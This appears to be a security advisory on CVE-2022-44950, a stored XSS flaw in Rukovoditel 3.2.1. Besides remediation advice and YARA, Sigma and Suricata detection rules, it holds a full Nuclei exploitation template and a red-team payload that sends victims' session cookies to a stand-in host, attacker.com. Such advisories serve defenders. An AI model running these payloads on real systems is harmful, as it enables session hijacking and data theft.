CVE-2022-44950

Executive Summary

CVE-2022-44950 is a stored cross-site scripting (XSS) vulnerability identified in Rukovoditel v3.2.1, a project management and CRM application. The flaw resides in the "Add New Field" function, specifically within the Name parameter at /index.php?module=entities/fields&entities_id=24. An authenticated attacker can inject arbitrary web scripts or HTML into the Name field, which is then stored and executed in the browsers of other users who view the affected entity. This can lead to session hijacking, data theft, or defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium) and is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). A public proof-of-concept (PoC) exists via a Nuclei template, and no official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a standalone PHP web application. The risk is primarily to organizations that have deployed Rukovoditel internally or as a service. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid user account.
• User Interaction (UI): Required (R) – The victim must interact with the malicious content.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires authentication, but the stored XSS can affect all users, including administrators, leading to privilege escalation scenarios.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the Name field of the "Add New Field" functionality. The application fails to sanitize or encode user input before storing it in the database and later rendering it in the browser. The attack flow is as follows:

1. Authentication: The attacker must first log in to Rukovoditel with valid credentials.
2. Crafting Payload: The attacker crafts a malicious payload, such as <script>alert(document.domain)</script>, and injects it into the Name parameter during the field creation process.
3. Storage: The payload is stored in the database without proper sanitization.
4. Execution: When any user (including administrators) views the entity or field configuration page, the stored payload is rendered in the browser, executing the malicious script.
5. Impact: The script can steal session cookies, redirect users to phishing pages, or perform actions on behalf of the victim.

The vulnerable endpoint is /index.php?module=entities/fields&action=save, which accepts multipart form data. The name parameter is directly inserted into the HTML output without escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Rukovoditel <= 3.2.1): The application likely uses a function like echo $name; or print($name); without any sanitization. For example:

// Vulnerable: Direct output without escaping
echo '<input type="text" name="field_name" value="' . $_POST['name'] . '">';

Patched Code (Hypothetical): A secure version would use output encoding functions such as htmlspecialchars() or htmlentities() in PHP:

// Patched: Output encoded
echo '<input type="text" name="field_name" value="' . htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8') . '">';

Additionally, input validation should be applied to reject or sanitize any HTML/script tags.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid user account on the target Rukovoditel instance.
• Network access to the application.

Steps:

1. Log in to the application.
2. Navigate to the "Add New Field" page: /index.php?module=entities/fields&entities_id=24.
3. Inject the XSS payload into the Name field. Example payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit the form.
5. Any user viewing the affected entity will have the script executed, sending their session cookie to the attacker's server.

Automated Exploitation (Nuclei): The provided Nuclei template automates the exploitation process. It performs a login, extracts the CSRF token, and submits the malicious payload.

Blue Team (Detection & Hardening)

Detection:

• Monitor web application logs for unusual POST requests to /index.php?module=entities/fields&action=save containing <script> tags or other HTML entities.
• Use a Web Application Firewall (WAF) to block requests with malicious payloads in the name parameter.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.

Hardening:

• Upgrade Rukovoditel to a version higher than 3.2.1 if available.
• Apply input validation and output encoding to all user-supplied data.
• Restrict user permissions to limit who can create or modify fields.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /index.php?module=entities/fields&action=save with name parameter containing <script> tags.
  • Outbound connections to attacker-controlled domains from the application server.
• File IOCs:
  • Log entries in /var/log/apache2/access.log or similar showing the malicious payload.
• Application IOCs:
  • Unexpected fields in the entity configuration containing JavaScript code.
  • Unusual entries in the fields database table with name column containing HTML/script.

Detection Engineering

YARA Rule

rule CVE_2022_44950_Rukovoditel_XSS {
    meta:
        description = "Detects stored XSS payloads in Rukovoditel logs or database dumps"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-44950"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $rukovoditel_path = /\/index\.php\?module=entities\/fields/
    condition:
        $xss_payload and $rukovoditel_path
}

Sigma Rule

title: CVE-2022-44950 Rukovoditel Stored XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of stored XSS in Rukovoditel
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/index.php?module=entities/fields&action=save*'
    keywords:
        - '<script'
        - 'alert('
        - 'document.cookie'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in field names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-44950 Rukovoditel Stored XSS Exploit";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/index.php?module=entities/fields&action=save";
    http_uri;
    content:"<script";
    http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Nuclei Template (Full)

id: CVE-2022-44950

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add New Field function at /index.php?module=entities/fields&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/10
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44950
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44950
    cwe-id: CWE-79
    epss-score: 0.01801
    epss-percentile: 0.82871
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,intrusive,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=entities/fields&action=save&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfKx13B5QBU5Sccgf

        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="form_session_token"

        {{nonce}}
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="entities_id"

        24
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="forms_tabs_id"

        29
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="name"

        <script>alert(document.domain)</script>
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="short_name"

        test
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="type"

        fieldtype_input
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="fields_configuration[width]"

        input-small
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="fields_configuration[default_value]"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="fields_configuration[is_unique]"

        0
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="fields_configuration[unique_error_msg]"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="required_message"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="tooltip"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="tooltip_item_page"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="access_template"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="access[5]"

        yes
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="access[4]"

        yes
        ------WebKitFormBoundaryfKx13B5QBU5Sccgf
        Content-Disposition: form-data; name="notes"


        ------WebKitFormBoundaryfKx13B5QBU5Sccgf--

    redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - status_code_3 == 200
          - contains(content_type_3, "text/html")
          - contains(body_3, "<script>alert(document.domain)</script>")
          - contains(body_3, "rukovoditel")
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - id="form_session_token" value="(.*)" type="hidden"
        internal: true
# digest: 4a0a0047304502210080b4e537f4c5bf3b754169e041b41bcf259aa9fe4da32cf940a9875bea0792d3022028a2c1271a8ce790fcf51ec285671074dbf52518e3df2261ef393f54cd2df5b1:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version is available, upgrade Rukovoditel immediately. As of now, no official patch exists, so consider disabling the "Add New Field" functionality or restricting access to trusted users only.
2. Input Validation: Implement server-side validation to reject any input containing HTML tags or JavaScript.
3. Output Encoding: Ensure all user-supplied data is properly encoded before rendering in the browser (e.g., using htmlspecialchars() in PHP).
4. Web Application Firewall (WAF): Deploy a WAF with rules to block XSS payloads in the name parameter.
5. Content Security Policy (CSP): Add a CSP header to restrict script execution, e.g., Content-Security-Policy: script-src 'self';.

Long-Term Measures:

• Conduct regular security audits and penetration testing.
• Implement a secure development lifecycle (SDLC) with mandatory code reviews.
• Monitor for new patches or advisories from the Rukovoditel project.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: 1D52F2F7AF9DDAD8633A4CF0] */}